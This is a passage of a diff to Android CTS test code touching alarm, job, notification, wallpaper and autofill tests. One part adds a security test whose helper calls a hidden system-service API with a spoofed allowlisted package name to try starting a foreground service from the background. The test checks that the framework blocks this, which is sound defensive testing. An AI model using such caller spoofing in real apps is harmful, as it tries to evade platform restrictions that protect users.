+ .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+ sContext.sendOrderedBroadcast(requestToTestApp, null, new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ result.set(getResultCode());
+ resultLatch.countDown();
+ }
+ }, null, Activity.RESULT_CANCELED, null, null);
+
+ assertTrue("Timed out waiting for response from helper app " + testAppName,
+ resultLatch.await(10, TimeUnit.SECONDS));
+ assertEquals(Activity.RESULT_OK, result.get());
+ }
+
+ @Test
+ public void alarmClockAllowsFGS() throws Exception {
+ setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_ALLOWED);
+
+ final long triggerRtc = System.currentTimeMillis() + 5_000;
+ setAlarmClockForFgs(triggerRtc, TEST_APP_PACKAGE);
+
+ final AtomicReference<String> resultHolder = new AtomicReference<>();
+ final CountDownLatch alarmLatch = new CountDownLatch(1);
+
+ final IntentFilter filter = new IntentFilter(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
+ final BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "Received response intent: " + intent);
+ resultHolder.set(intent.getStringExtra(FgsTester.EXTRA_FGS_START_RESULT));
+ alarmLatch.countDown();
+ }
+ };
+ sContext.registerReceiver(receiver, filter);
+ try {
+ Thread.sleep(5_000);
+ assertTrue("AlarmClock expiration not reported",
+ alarmLatch.await(30, TimeUnit.SECONDS));
+ assertEquals("FGS result should be empty", "", resultHolder.get());
+ } finally {
+ sContext.unregisterReceiver(receiver);
+ }
+ }
+
@Test
public void setAlarmClockWithPermission() throws Exception {
final long now = System.currentTimeMillis();
@@ -383,7 +445,6 @@
TEST_APP_PACKAGE);
}
-
@Test
public void setExactAwiWithoutPermissionOrWhitelist() throws Exception {
revokeAppOp(TEST_APP_PACKAGE);
@@ -577,7 +638,7 @@
public void onReceive(Context context, Intent intent) {
Log.d(TAG, "Received response intent: " + intent);
resultHolder.set(intent.getStringExtra(
- PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
+ FgsTester.EXTRA_FGS_START_RESULT));
latch.countDown();
}
};
@@ -618,7 +679,7 @@
public void onReceive(Context context, Intent intent) {
Log.d(TAG, "Received response intent: " + intent);
resultHolder.set(intent.getStringExtra(
- PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
+ FgsTester.EXTRA_FGS_START_RESULT));
latch.countDown();
}
};
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 3ec265d..b885a57 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -1054,6 +1054,7 @@
@Test
public void testRestrictingStopReason_Quota() throws Exception {
+ assumeTrue("app standby not enabled", mAppStandbyEnabled);
assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
@@ -1082,6 +1083,7 @@
@Test
public void testRestrictingStopReason_ExpeditedQuota_startOnCharging() throws Exception {
+ assumeTrue("app standby not enabled", mAppStandbyEnabled);
assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
@@ -1112,6 +1114,7 @@
@Test
public void testRestrictingStopReason_ExpeditedQuota_noCharging() throws Exception {
+ assumeTrue("app standby not enabled", mAppStandbyEnabled);
assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index 54ee715..cbf6fe2 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -32,8 +32,7 @@
],
min_sdk_version: "30",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
certificate: "media",
java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 92c96a6..57d60f2 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -444,8 +444,6 @@
public void testMultiSelect_previewVideoControlsVisibility() throws Exception {
launchPreviewMultipleWithVideos(/* videoCount */ 3);
- mDevice.waitForIdle();
-
final UiObject playPauseButton = findPlayPauseButton();
final UiObject muteButton = findMuteButton();
// Check that buttons auto hide.
@@ -575,6 +573,10 @@
// buffering -> ready state takes around 10s.
final long playbackStartTimeout = 10000;
(findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout);
+
+ // Wait for Binder calls to complete and device to be idle
+ MediaStore.waitForIdle(mContext.getContentResolver());
+ mDevice.waitForIdle();
}
private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton,
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 5e154f7..26ab62b 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -19,15 +19,19 @@
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ForegroundServiceStartNotAllowedException;
+import android.app.IActivityManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
+import android.os.RemoteException;
+import android.text.TextUtils;
import android.util.ArrayMap;
import android.util.Log;
@@ -61,6 +65,7 @@
public static final int COMMAND_START_FOREGROUND_SERVICE_STICKY = 20;
public static final int COMMAND_STOP_FOREGROUND_SERVICE_STICKY = 21;
public static final int COMMAND_EMPTY = 22;
+ public static final int COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME = 23;
public static final int RESULT_CHILD_PROCESS_STARTED = IBinder.FIRST_CALL_TRANSACTION;
public static final int RESULT_CHILD_PROCESS_STOPPED = IBinder.FIRST_CALL_TRANSACTION + 1;
@@ -170,6 +175,9 @@
break;
case COMMAND_EMPTY:
break;
+ case COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME:
+ doStartForegroundServiceSpoofPackageName(context, intent);
+ break;
}
}
@@ -371,6 +379,56 @@
}).start();
}
+ /**
+ * Directly call IActivityManager.startService() using a spoofed packageName which is known to
+ * be allowlisted by Android framework to be able to start foreground service
+ * from the background. Framework will disallow the foreground service to start from the
+ * background and a ForegroundServiceStartNotAllowedException will be caught.
+ * @param context
+ * @param commandIntent
+ */
+ private void doStartForegroundServiceSpoofPackageName(Context context, Intent commandIntent) {
+ String targetPackage = getTargetPackage(commandIntent);
+ Intent fgsIntent = new Intent();
+ fgsIntent.putExtras(commandIntent);
+ fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
+ int command = LocalForegroundService.COMMAND_START_FOREGROUND;
+ fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+ try {
+ final PackageManager pm = context.getPackageManager();
+ String spoofPackageName = pm.getAttentionServicePackageName();
+ if (TextUtils.isEmpty(spoofPackageName)) {
+ Log.d(TAG, "getAttentionServicePackageName() returns empty");
+ spoofPackageName = pm.getSystemCaptionsServicePackageName();
+ }
+ if (TextUtils.isEmpty(spoofPackageName)) {
+ Log.d(TAG, "getSystemCaptionsServicePackageName() returns empty");
+ spoofPackageName = "android";
+ }
+ Log.d(TAG, "spoofPackageName: " + spoofPackageName);
+ final IBinder activityProxy = android.os.ServiceManager.getService("activity");
+ // Call IActivityManager.startService() directly using a spoofed packageName.
+ IActivityManager.Stub.asInterface(activityProxy).startService(
+ context.getIApplicationThread(),
+ fgsIntent,
+ null,
+ true,
+ spoofPackageName,
+ null,
+ android.os.Process.myUserHandle().getIdentifier()
+ );
+ } catch (ForegroundServiceStartNotAllowedException e) {
+ Log.d(TAG, "startForegroundService gets an "
+ + " ForegroundServiceStartNotAllowedException", e);
+ } catch (LinkageError e) {
+ // IActivityManager.startService() is a hidden API, access hidden API could get
+ // LinkageError, consider the test as pass if we get LinkageError.
+ Log.d(TAG, "startForegroundService gets an LinkageError", e);
+ } catch (RemoteException e) {
+ Log.d(TAG, "startForegroundService gets an RemoteException", e);
+ }
+ }
+
private String getTargetPackage(Intent intent) {
return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 0f98cdf..ff40aff 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -60,6 +60,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.provider.DeviceConfig;
import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
@@ -2015,6 +2016,52 @@
}
/**
+ * IActivityManager.startService() is called directly (does not go through
+ * {@link Context#startForegroundService(Intent)}, a spoofed packageName "com.google.android.as"
+ * is used as callingPackage. Although "com.google.android.as" is allowlisted to start
+ * foreground service from the background, but framework will detect this is a spoofed
+ * packageName and disallow foreground service start from the background.
+ * @throws Exception
+ */
+ @Test
+ public void testSpoofPackageName() throws Exception {
+ ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP1, 0);
+ WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+ WAITFOR_MSEC);
+ // CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME needs access
+ // to hidden API PackageManager.getAttentionServicePackageName() and
+ // PackageManager.getSystemCaptionsServicePackageName(), so we need to call
+ // hddenApiSettings.set("*") to exempt the hidden APIs.
+ SettingsSession<String> hiddenApiSettings = new SettingsSession<>(
+ Settings.Global.getUriFor(
+ Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+ Settings.Global::getString, Settings.Global::putString);
+ hiddenApiSettings.set("*");
+ try {
+ // Enable the FGS background startForeground() restriction.
+ enableFgsRestriction(true, true, null);
+ // Start FGS in BG state.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ // APP1 does not enter FGS state
+ try {
+ waiter.doWait(WAITFOR_MSEC);
+ fail("Service should not enter foreground service state");
+ } catch (Exception e) {
+ }
+ } finally {
+ uid1Watcher.finish();
+ if (hiddenApiSettings != null) {
+ hiddenApiSettings.close();
+ }
+ }
+ }
+
+ /**
* Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
* device (across all apps). AppCompat can turn on restriction on a single app package.
* @param enable true to turn on restriction, false to turn off.
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index c879337..b10c960 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -60,7 +60,6 @@
assertEquals(null, channel.getGroup());
assertTrue(channel.getLightColor() == 0);
assertFalse(channel.canBubble());
- assertFalse(channel.isImportanceLockedByOEM());
assertEquals(IMPORTANCE_UNSPECIFIED, channel.getOriginalImportance());
assertNull(channel.getConversationId());
assertNull(channel.getParentChannelId());
@@ -197,13 +196,6 @@
assertTrue(channel.isBlockable());
}
- public void testIsImportanceLockedByOEM() {
- NotificationChannel channel =
- new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
- channel.setImportanceLockedByOEM(true);
- assertTrue(channel.isImportanceLockedByOEM());
- }
-
public void testSystemBlockable() {
NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
assertEquals(false, channel.isBlockable());
diff --git a/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java b/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
index ffafb06..b208801 100644
--- a/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
@@ -16,6 +16,9 @@
package android.app.cts;
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
+import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
import static android.app.Notification.FLAG_BUBBLE;
import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
@@ -49,6 +52,8 @@
import android.content.LocusId;
import android.graphics.drawable.Icon;
import android.os.Bundle;
+import android.permission.PermissionManager;
+import android.permission.cts.PermissionUtils;
import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
@@ -69,6 +74,8 @@
private static final String TAG = NotificationManagerBubbleTest.class.getSimpleName();
+ private static final String STUB_PACKAGE_NAME = "android.app.stubs";
+
// use a value of 10000 for consistency with other CTS tests (see
// android.server.wm.intentLaunchRunner#ACTIVITY_LAUNCH_TIMEOUT)
private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
@@ -79,6 +86,8 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+ PermissionUtils.grantPermission(STUB_PACKAGE_NAME, POST_NOTIFICATIONS);
+ PermissionUtils.grantPermission(mContext.getPackageName(), POST_NOTIFICATIONS);
// This setting is forced on / off for certain tests, save it & restore what's on the
// device after tests are run
@@ -99,6 +108,17 @@
// Restore bubbles setting
setBubblesGlobal(mBubblesEnabledSettingToRestore);
+
+ // Use test API to prevent PermissionManager from killing the test process when revoking
+ // permission.
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mContext.getSystemService(PermissionManager.class)
+ .revokePostNotificationPermissionWithoutKillForTest(
+ mContext.getPackageName(),
+ android.os.Process.myUserHandle().getIdentifier()),
+ REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL,
+ REVOKE_RUNTIME_PERMISSIONS);
+ PermissionUtils.revokePermission(STUB_PACKAGE_NAME, POST_NOTIFICATIONS);
}
private boolean isBubblesFeatureSupported() {
@@ -158,8 +178,8 @@
boolean notificationFound = false;
boolean bubbleStateMatches = false;
try {
- // Wait up to 2 seconds for the notification
- for (int i = 0; i < 20; i++) {
+ // Wait up to 5 seconds for the notification
+ for (int i = 0; i < 50; i++) {
// FLAG_BUBBLE relies on notification being posted, wait for notification listener
Thread.sleep(100);
for (StatusBarNotification sbn : mListener.mPosted) {
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fc640a5..7fbd297 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -29,7 +29,6 @@
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
-import android.Manifest;
import android.app.WallpaperColors;
import android.app.WallpaperManager;
import android.app.stubs.R;
@@ -52,8 +51,6 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CddTest;
-
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
@@ -71,9 +68,6 @@
private static final boolean DEBUG = false;
private static final String TAG = "WallpaperManagerTest";
- private static final long MAX_WAIT_TIME_SECS = 2;
- private static final long MAX_WAIT_TIME_MS = MAX_WAIT_TIME_SECS * 1000;
- private static final long WAIT_TIME_INCR_MS = 100;
private WallpaperManager mWallpaperManager;
private Context mContext;
@@ -81,7 +75,6 @@
private BroadcastReceiver mBroadcastReceiver;
private CountDownLatch mCountDownLatch;
private boolean mEnableWcg;
- private boolean mAcquiredWallpaperDimmingPermission = false;
@Before
public void setUp() throws Exception {
@@ -113,24 +106,6 @@
if (mBroadcastReceiver != null) {
mContext.unregisterReceiver(mBroadcastReceiver);
}
- if (mAcquiredWallpaperDimmingPermission) {
- try {
- mWallpaperManager.setWallpaperDimAmount(0f);
- assertDimAmountEqualsTo(0f);
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .dropShellPermissionIdentity();
- mAcquiredWallpaperDimmingPermission = false;
- }
- }
- }
-
- private void ensureSetWallpaperDimAmountPermissionIsGranted() {
- if (!mAcquiredWallpaperDimmingPermission) {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_DIM_AMOUNT);
- mAcquiredWallpaperDimmingPermission = true;
- }
}
@Test
@@ -428,96 +403,6 @@
}
}
- @Test
- public void testGetWallpaperDimAmountWithNoPermission_shouldThrowException() {
- Assert.assertThrows(SecurityException.class,
- () -> mWallpaperManager.getWallpaperDimAmount());
- }
-
- @Test
- public void testSetWallpaperDimAmountWithNoPermission_shouldThrowException() {
- Assert.assertThrows(SecurityException.class,
- () -> {
- float dimAmount = 0.5f;
- mWallpaperManager.setWallpaperDimAmount(dimAmount);
- assertDimAmountEqualsTo(dimAmount);
- });
- }
-
- @Test
- public void setWallpaperDimAmount_withinBound_shouldSetDimAmount() {
- ensureSetWallpaperDimAmountPermissionIsGranted();
-
- float dimAmount = 0.6f;
- mWallpaperManager.setWallpaperDimAmount(dimAmount);
- assertDimAmountEqualsTo(dimAmount);
-
- // Remove additional dimming and verify that the dim amount is set to 0 again
- mWallpaperManager.setWallpaperDimAmount(0f);
- assertDimAmountEqualsTo(0f);
- }
-
- @Test
- public void setWallpaperDimAmountBeyondRange_shouldBeBounded() {
- ensureSetWallpaperDimAmountPermissionIsGranted();
-
- // Setting dim amount < 0 should be bounded to lower limit 0.0
- mWallpaperManager.setWallpaperDimAmount(-1f);
- assertDimAmountEqualsTo(0f);
-
- // Setting dim amount > 1 should be bounded to upper limit 1.0
- mWallpaperManager.setWallpaperDimAmount(1.5f);
- assertDimAmountEqualsTo(1f);
- }
-
- @CddTest(requirement = "3.8.7.1/H-1-2")
- @Test
- public void setWallpaperDimAmount_changingWallpaperShouldRemainDimmed() throws IOException {
- ensureSetWallpaperDimAmountPermissionIsGranted();
-
- float dimAmount = 0.65f;
- mWallpaperManager.setWallpaperDimAmount(dimAmount);
- mWallpaperManager.setResource(R.drawable.robot);
-
- assertDimAmountEqualsTo(dimAmount);
- }
-
- @Test
- public void colorHintsOnDimTest() throws IOException {
- ensureSetWallpaperDimAmountPermissionIsGranted();
-
- Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
- Canvas canvas = new Canvas(tmpWallpaper);
- canvas.drawColor(Color.WHITE);
-
- mWallpaperManager.setBitmap(tmpWallpaper);
-
- WallpaperColors colors = mWallpaperManager
- .getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
- int colorHints = colors.getColorHints();
- // Color hints support dark text on white wallpaper
- Assert.assertEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
- colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
-
- float lowDimAmount = 0.1f;
- mWallpaperManager.setWallpaperDimAmount(lowDimAmount);
- assertDimAmountEqualsTo(lowDimAmount);
- colors = mWallpaperManager.getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
- colorHints = colors.getColorHints();
- // Color hints still support dark text on white wallpaper that is not dimmed enough
- Assert.assertEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
- colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
-
- float higherDimAmount = 0.7f;
- mWallpaperManager.setWallpaperDimAmount(higherDimAmount);
- assertDimAmountEqualsTo(higherDimAmount);
- colors = mWallpaperManager.getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
- colorHints = colors.getColorHints();
- // Dimmed white wallpaper does not support dark text
- Assert.assertNotEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
- colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
- }
-
private void assertBitmapDimensions(Bitmap bitmap) {
int maxSize = getMaxTextureSize();
boolean safe = false;
@@ -686,20 +571,6 @@
return spy(new TestableColorListener());
}
- private void assertDimAmountEqualsTo(float dimAmount) {
- float storedDimAmount = -1f;
- for (int i = 0; i < MAX_WAIT_TIME_MS; i += WAIT_TIME_INCR_MS) {
- storedDimAmount = mWallpaperManager.getWallpaperDimAmount();
- if (dimAmount == storedDimAmount) break;
- try {
- Thread.sleep(WAIT_TIME_INCR_MS);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- Assert.assertEquals(dimAmount, storedDimAmount, /* delta */ 0f);
- }
-
public class TestableColorListener implements WallpaperManager.OnColorsChangedListener {
@Override
public void onColorsChanged(WallpaperColors colors, int which) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
index d35dd40..891cbe9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -398,6 +398,15 @@
}
/**
+ * Request to hide soft input
+ */
+ public void hideSoftInput() {
+ final InputMethodManager imm = (InputMethodManager) getSystemService(
+ Context.INPUT_METHOD_SERVICE);
+ imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
+ }
+
+ /**
* Holder for the expected auto-fill values.
*/
private final class FillExpectation {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
index 7720bc8..d2bd91a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -18,6 +18,10 @@
import android.autofillservice.cts.activities.AbstractWebViewActivity;
import android.autofillservice.cts.testcore.IdMode;
import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.content.res.Resources;
+
+import androidx.test.InstrumentationRegistry;
import org.junit.AfterClass;
import org.junit.BeforeClass;
@@ -45,4 +49,20 @@
public static void resetReplierMode() {
sReplier.setIdMode(IdMode.RESOURCE_ID);
}
+
+ /**
+ * @return whether the preventable IME feature as specified by {@code
+ * config_preventImeStartupUnlessTextEditor} is enabled.
+ */
+ protected static boolean isPreventImeStartup() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ try {
+ return context.getResources().getBoolean(
+ Resources.getSystem().getIdentifier(
+ "config_preventImeStartupUnlessTextEditor", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // Assume this is not enabled.
+ return false;
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 347ded0..40b7784 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -57,6 +57,7 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+import com.android.compatibility.common.util.DisableAnimationRule;
import com.android.compatibility.common.util.RequiredFeatureRule;
import com.android.compatibility.common.util.RetryRule;
import com.android.compatibility.common.util.SafeCleanerRule;
@@ -277,6 +278,10 @@
// test being ran and finishes dangling activities at the end
.around(mTestWatcher)
//
+ // Disable animation for UiAutomator because animation will cause the UiAutomator
+ // got a wrong position and then tests failed due to click on the wrong position.
+ .around(new DisableAnimationRule())
+ //
// sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
.around(sMockImeSessionRule)
//
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
index 416c79a..9ab86ce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -574,12 +574,12 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
sReplier.addResponse(builder.build());
// Trigger autofill and set the save UI not show reason with
// NO_SAVE_UI_REASON_NO_SAVE_INFO.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_SAVE_INFO);
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_SAVE_INFO, /* withDataSet= */ true);
// Finish the context by login in and it will trigger to check if the save UI should be
// shown.
@@ -603,17 +603,8 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
- builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
- sReplier.addResponse(builder.build());
-
- // Trigger autofill and set the save UI not show reason with
- // NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
-
- // Finish the context by login in and it will trigger to check if the save UI should be
- // shown.
- tapLogin();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+ contextCommitted_whileDelaySave(builder, /* withDataSet= */ true);
// Verify that the save UI should not be shown and the history should include the reason.
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -624,6 +615,38 @@
assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
}
+ @Test
+ public void testContextCommitted_noSaveUi_whileDelaySave_noDataset() throws Exception {
+ enableService();
+
+ // Set expectations.
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+ contextCommitted_whileDelaySave(builder, /* withDataSet= */ false);
+
+ // Verify that the save UI should not be shown and the history should include the reason.
+ mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+ final Event event = verifyEvents.get(0);
+
+ assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
+ }
+
+ // TODO: refine the helper function
+ private void contextCommitted_whileDelaySave(CannedFillResponse.Builder builder,
+ boolean withDataSet) throws Exception {
+ builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
+ sReplier.addResponse(builder.build());
+
+ // Trigger autofill and set the save UI not show reason with
+ // NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG.
+ triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG, withDataSet);
+
+ // Finish the context by login in and it will trigger to check if the save UI should be
+ // shown.
+ tapLogin();
+ }
+
/**
* Tests scenario where the context was committed, the save dialog was not shown because there
* was empty value for required ids.
@@ -633,17 +656,8 @@
enableService();
// Set expectations.
- final CannedFillResponse.Builder builder = createTestResponseBuilder();
- builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
- sReplier.addResponse(builder.build());
-
- // Trigger autofill and set the save UI not show reason with
- // NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
- triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
-
- // Finish the context by login in and it will trigger to check if the save UI should be
- // shown.
- tapLogin();
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+ contextCommitted_whileEmptyValueForRequiredIds(builder, /* withDataSet= */ true);
// Verify that the save UI should not be shown and the history should include the reason.
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -654,6 +668,38 @@
assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
}
+ @Test
+ public void testContextCommitted_noSaveUi_whileEmptyValueForRequiredIds_noDataset()
+ throws Exception {
+ enableService();
+
+ // Set expectations.
+ CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+ contextCommitted_whileEmptyValueForRequiredIds(builder, /* withDataSet= */ false);
+
+ // Verify that the save UI should not be shown and the history should include the reason.
+ mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+ final Event event = verifyEvents.get(0);
+
+ assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
+ }
+
+ private void contextCommitted_whileEmptyValueForRequiredIds(CannedFillResponse.Builder builder,
+ boolean withDataSet) throws Exception {
+ builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+ sReplier.addResponse(builder.build());
+
